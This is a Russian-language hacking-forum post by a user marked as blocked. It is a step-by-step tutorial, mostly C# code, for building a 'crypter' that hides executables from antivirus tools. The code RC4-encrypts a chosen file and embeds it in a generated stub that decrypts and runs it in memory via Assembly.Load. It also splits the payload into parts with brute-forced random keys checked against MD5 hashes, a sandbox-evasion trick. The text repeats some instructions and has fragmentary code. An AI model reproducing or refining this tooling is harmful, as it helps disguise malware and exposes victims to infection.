Frost
Заблокирован
Заблокирован

Frost
Заблокирован
Заблокирован
- Сообщения
- 4
- Реакции
- 3
Please note, if you want to make a deal with this user, that it is blocked.
Создаем форму на нёё кидаем 3 кнопки и 1 текстбокс.
Кнопки: Открыть файл, крипт, сменить иконку.
Создаем экземпляр класса System.Resources.ResourceWriter("res.resources")
создаем AddResource мы задаем имя нового вложенного ресурса file и сразу же шифруем исходный файл по указанному пути алгоритмом RC4 и заданным через запятую ключом RC4KEY.
Устанавливаем требуемые параметры компиляции через
На кнопку открыть:
На кнопку крипт:
Кнопки: Открыть файл, крипт, сменить иконку.
Создаем экземпляр класса System.Resources.ResourceWriter("res.resources")
создаем AddResource мы задаем имя нового вложенного ресурса file и сразу же шифруем исходный файл по указанному пути алгоритмом RC4 и заданным через запятую ключом RC4KEY.
Устанавливаем требуемые параметры компиляции через
C#:
CompilerParameters (GenerateExecutable = true,
OutputAssembly = "File.exe",
ReferencedAssemblies.Add("System.dll"),
EmbeddedResources.Add("res.resources"),
CompilerOptions += "/t:winexe");
C#:
byte[] betyFile = RC4EncryptDecrypt(Convert.FromBase64String("$FILE$"), "RC4KEY");
Assembly.Load(betyFile).EntryPoint.Invoke(null, null);
C#:
byte[] filebytes = RC4EncryptDecrypt(System.IO.File.ReadAllBytes(textBox1.Text), "RC4KEY");
string NewSource = Properties.Resources.Source;
NewSource = NewSource.Replace("$FILE$", Convert.ToBase64String(filebytes));
Thread threadpartone = new Thread(ThreadFourMethod);
threadpartone.Start();
private static void ThreadFourMethod()
{
string partFourHash = "$partFourHash$";
byte[] ByteFileFour = Convert.FromBase64String("$baseFour$");
while (true)
{
string rndpasswd = RandomPassNew();
byte[] befoRndDecOne = RC4EncryptDecrypt(ByteFileFour, rndpasswd);
string bufferForParts = md5Hash(Convert.ToBase64String(befoRndDecOne));
if (partFourHash == bufferForParts)
{
bytefromthreadfour = befoRndDecOne;
break;
}
}
}
Array.Reverse(bytefromthreadtwo);
Array.Copy(bytefromthreadone, 0, FileHere, 0, bytefromthreadone.Length);
Assembly.Load(RC4EncryptDecrypt(testa, (testb + testccc).ToString())).EntryPoint.Invoke(null, null);
C#:
Globals.randomPasswd = RandomPassNewGlobal();
byte[] filebytes = RC4EncryptDecrypt(System.IO.File.ReadAllBytes(textBox1.Text), Globals.randomPasswd);
int a = filebytes.Length / 4;
byte[] partofthebytes = new byte[a];
Array.Copy(filebytes, 0, partofthebytes, 0, a);
Globals.partOneHash = md5Hash(Convert.ToBase64String(partofthebytes));
Globals.partOneKey = RandomPassNew();
partofthebytes = RC4EncryptDecrypt(partofthebytes, Globals.partOneKey);
Globals.filePartOne = Convert.ToBase64String(partofthebytes);
public static string RandomPassNew()
{
Random rnd = new Random(); // Не безопасный
uint rOne = (uint) rnd.Next(52345, 52348);
uint rTwo = (uint) rnd.Next(39327, 39329);
uint rMul = rOne * rTwo;
return rMul.ToString();
}